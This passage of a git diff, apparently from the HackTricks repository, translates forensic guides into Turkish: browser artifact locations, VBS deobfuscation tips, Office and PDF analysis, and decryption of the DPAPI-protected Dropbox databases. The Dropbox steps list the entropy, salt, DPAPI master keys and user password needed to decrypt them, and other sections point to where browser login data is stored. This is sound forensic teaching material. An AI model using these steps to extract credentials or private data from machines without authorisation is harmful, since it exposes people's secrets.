alınmış verileri tutar. İncelemek için, Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) kullanabilir. +- **Bookmarks**: Kullanıcı yer imleri. +- **Web Data**: Form geçmişini içerir. +- **Favicons**: Web sitesi favicon'larını saklar. +- **Login Data**: Kullanıcı adları ve şifreler gibi giriş bilgilerini içerir. +- **Current Session**/**Current Tabs**: Mevcut tarayıcı oturumu ve açık sekmeler hakkında veri. +- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi. +- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler. +- **Thumbnails**: Web sitesi küçük resimlerini saklar. +- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi zengini bir dosya. +- **Browser’ın yerleşik anti-phishing**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın. -## **SQLite DB Data Recovery** +## **SQLite DB Veri Kurtarma** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Önceki bölümlerde gözlemlediğiniz gibi, hem Chrome hem de Firefox **SQLite** veritabanlarını veri saklamak için kullanır. **Silinmiş girişleri kurtarmak için** [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **aracını kullanmak mümkündür.** ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11, verilerini ve meta verilerini çeşitli konumlarda yönetir, bu da saklanan bilgilerin ve ilgili detayların kolay erişim ve yönetim için ayrılmasına yardımcı olur. -### Metadata Storage +### Meta Veri Saklama -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` içinde saklanır (VX V01, V16 veya V24 olabilir). Bununla birlikte, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı tutarsızlıklarını gösterebilir ve bu, `esentutl /r V01 /d` kullanarak onarım gerektirdiğini gösterir. Bu meta veriler, bir ESE veritabanında yer alır ve photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosunda, her veri segmentinin saklandığı belirli tablolar veya konteynerler, diğer Microsoft araçları için önbellek detayları da dahil olmak üzere, belirlenebilir. -### Cache Inspection +### Önbellek İncelemesi -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı, önbellek incelemesi için kullanılabilir ve önbellek verisi çıkarım klasör konumunu gerektirir. Önbellek için meta veriler, dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir. -### Cookies Management +### Çerez Yönetimi -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir ve meta veriler isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detayları kapsar. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte bulunur. -### Download Details +### İndirme Detayları -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracılığıyla erişilebilir ve belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri tutar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir. -### Browsing History +### Tarayıcı Geçmişi -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Tarayıcı geçmişini gözden geçirmek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir ve çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki meta veriler, değişiklik ve erişim zamanlarını, ayrıca erişim sayısını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde yer alır. -### Typed URLs +### Yazılan URL'ler -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +Yazılan URL'ler ve kullanım zamanları, `NTUSER.DAT` içinde `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` altında saklanır ve kullanıcının girdiği son 50 URL ve son giriş zamanlarını takip eder. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Çeşitli veri türleri için yollar: -- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` +- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` +- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` +- **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` +- **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` +- **Son Aktif Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar şunlardır: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: `history_visits` ve `history_items` tablolarını içerir ve URL'ler ile ziyaret zaman damgalarını barındırır. Sorgulamak için `sqlite3` kullanın. +- **Downloads.plist**: İndirilen dosyalar hakkında bilgi. +- **Bookmarks.plist**: Yerleştirilen URL'leri saklar. +- **TopSites.plist**: En sık ziyaret edilen siteler. +- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın. +- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın. +- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın. +- **Browser’ın yerleşik anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı, özelliğin aktif olduğunu gösterir. ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde yer alır ve geçmiş ile indirmeler için Chrome'un formatını paylaşır. -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’ın yerleşik anti-phishing**: `Preferences` dosyasında `fraud_protection_enabled` değerinin `true` olarak ayarlandığını kontrol ederek doğrulayın. -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +Bu yollar ve komutlar, farklı web tarayıcıları tarafından saklanan tarayıcı verilerine erişim ve anlama açısından kritik öneme sahiptir. ## References @@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..cfc679bf9 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Kötü niyetli bir VBS dosyasını hata ayıklamak/deobfuscate etmek için faydalı olabilecek bazı şeyler: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Yorumlar ```bash ' this is a comment ``` - ## Test - ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## Bir dosyaya veri yazma ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index f64869c3c..1d0c47c8b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,97 @@ -# Local Cloud Storage +# Yerel Bulut Depolama {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve `logs\Personal` içinde, senkronize edilmiş dosyalarla ilgili bazı ilginç verileri içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- Boyut (bayt cinsinden) +- Oluşturulma tarihi +- Değiştirilme tarihi +- Buluttaki dosya sayısı +- Klasördeki dosya sayısı +- **CID**: OneDrive kullanıcısının benzersiz kimliği +- Rapor oluşturma zamanı +- İşletim sisteminin HD boyutu -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +CID'yi bulduktan sonra, **bu kimliği içeren dosyaları aramanız önerilir**. _**\.ini**_ ve _**\.dat**_ adında, OneDrive ile senkronize edilmiş dosyaların adlarını içerebilecek dosyalar bulabilirsiniz. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Windows'ta, ana Google Drive klasörünü `\Users\\AppData\Local\Google\Drive\user_default` içinde bulabilirsiniz.\ +Bu klasör, hesap e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 hash'leri vb. gibi bilgileri içeren Sync_log.log adında bir dosya içerir. Silinmiş dosyalar bile, ilgili MD5 ile birlikte bu günlük dosyasında görünür. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda, **senkronize** **dosyaların** **adını**, değiştirilme zamanını, boyutunu ve dosyaların MD5 kontrol toplamını bulabilirsiniz. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +**`Sync_config.db`** veritabanının tablo verileri, hesap e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\ +Veritabanlarını şu klasörlerde bulabilirsiniz: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +Ve ana veritabanları şunlardır: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +".dbx" uzantısı, **veritabanlarının** **şifreli** olduğunu gösterir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz. -However, the main information is: +Ancak, ana bilgiler şunlardır: - **Entropy**: d114a55212655f74bd772e37e64aee9b - **Salt**: 0D638C092E8B82FC452883F95F355B8E - **Algorithm**: PBKDF2 - **Iterations**: 1066 -Apart from that information, to decrypt the databases you still need: +Bu bilgilere ek olarak, veritabanlarını şifrelerini çözmek için hala şunlara ihtiyacınız var: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- **şifreli DPAPI anahtarı**: Bunu `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın) +- **`SYSTEM`** ve **`SECURITY`** hives +- **DPAPI anahtarları**: `\Users\\AppData\Roaming\Microsoft\Protect` içinde bulunabilir +- Windows kullanıcısının **kullanıcı adı** ve **şifresi** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Sonra [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)** aracını kullanabilirsiniz:** ![](<../../../images/image (443).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Her şey beklendiği gibi giderse, araç, **orijinalini kurtarmak için kullanmanız gereken anahtarı** gösterecektir. Orijinalini kurtarmak için, bu [cyber_chef tarifi]() kullanarak, anahtarı tarifin "şifre" kısmına koyun. +Sonuçta elde edilen hex, veritabanlarını şifrelemek için kullanılan son anahtardır ve şu şekilde şifresi çözülebilir: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`** veritabanı şunları içerir: -The **`config.dbx`** database contains: +- **Email**: Kullanıcının e-posta adresi +- **usernamedisplayname**: Kullanıcının adı +- **dropbox_path**: Dropbox klasörünün bulunduğu yol +- **Host_id: Hash**: Buluta kimlik doğrulamak için kullanılan hash. Bu yalnızca web üzerinden iptal edilebilir. +- **Root_ns**: Kullanıcı tanımlayıcısı -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosyalar ve klasörler hakkında bilgi içerir. `File_journal` tablosu daha fazla yararlı bilgiye sahiptir: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: Dosyanın sunucu içindeki bulunduğu yol (bu yol, istemcinin `host_id` ile önceden gelir). +- **local_sjid**: Dosyanın versiyonu +- **local_mtime**: Değiştirilme tarihi +- **local_ctime**: Oluşturulma tarihi -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: Dropbox'ın tüm dosya ve klasörlerinin hash'i +- **block_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir +- **mount_table**: Dropbox'ın paylaşılan klasörleri +- **deleted_fields**: Dropbox'tan silinmiş dosyalar - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2e07c739d..47377f708 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,36 +1,18 @@ -# Office file analysis +# Office dosyası analizi {{#include ../../../banners/hacktricks-training.md}} -
+Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet: -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoft, iki ana türü **OLE formatları** (RTF, DOC, XLS, PPT gibi) ve **Office Open XML (OOXML) formatları** (DOCX, XLSX, PPTX gibi) olmak üzere birçok ofis belge formatı oluşturmuştur. Bu formatlar makrolar içerebilir, bu da onları kimlik avı ve kötü amaçlı yazılım hedefleri haline getirir. OOXML dosyaları, dosya ve klasör hiyerarşisini ve XML dosyası içeriklerini ortaya çıkaran zip konteynerleri olarak yapılandırılmıştır. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} +OOXML dosya yapılarını keşfetmek için bir belgeyi açmak için kullanılan komut ve çıktı yapısı verilmiştir. Bu dosyalarda veri gizleme teknikleri belgelenmiştir ve CTF zorlukları içinde veri gizleme konusunda devam eden yenilikleri göstermektedir. -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Analiz için, **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım dağıtım vektörleri olarak hizmet eden gömülü makroları tanımlama ve analiz etme konusunda yardımcı olur; genellikle ek kötü amaçlı yükleri indirme ve çalıştırma işlemleri gerçekleştirir. VBA makrolarının analizi, hata ayıklama için kesme noktaları ve izleme değişkenleri ile birlikte Libre Office kullanılarak Microsoft Office olmadan gerçekleştirilebilir. +**oletools**'un kurulumu ve kullanımı basittir; pip ile kurulum ve belgelerden makro çıkarma komutları sağlanmıştır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 769407b3a..e0a8153ce 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# PDF Dosya analizi {{#include ../../../banners/hacktricks-training.md}} -
+**Daha fazla bilgi için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +PDF formatı, karmaşıklığı ve verileri gizleme potansiyeli ile bilinir, bu da onu CTF adli bilişim zorlukları için bir odak noktası haline getirir. Düz metin unsurlarını, sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerdeki betikleri içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyaline](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF'ye özel bir düzenleyici kullanılabilir. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} +PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenmiş olabilir: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- Görünmez katmanlar +- Adobe tarafından sağlanan XMP meta veri formatı +- Artan nesil +- Arka planla aynı renkteki metin +- Resimlerin arkasındaki metin veya üst üste binen resimler +- Gösterilmeyen yorumlar -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Özel PDF analizi için, [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemleri üzerine rehberi gibi kaynaklar, artık orijinal konumunda barındırılmasa da, hala değerli bilgiler sunmaktadır. [Rehberin bir 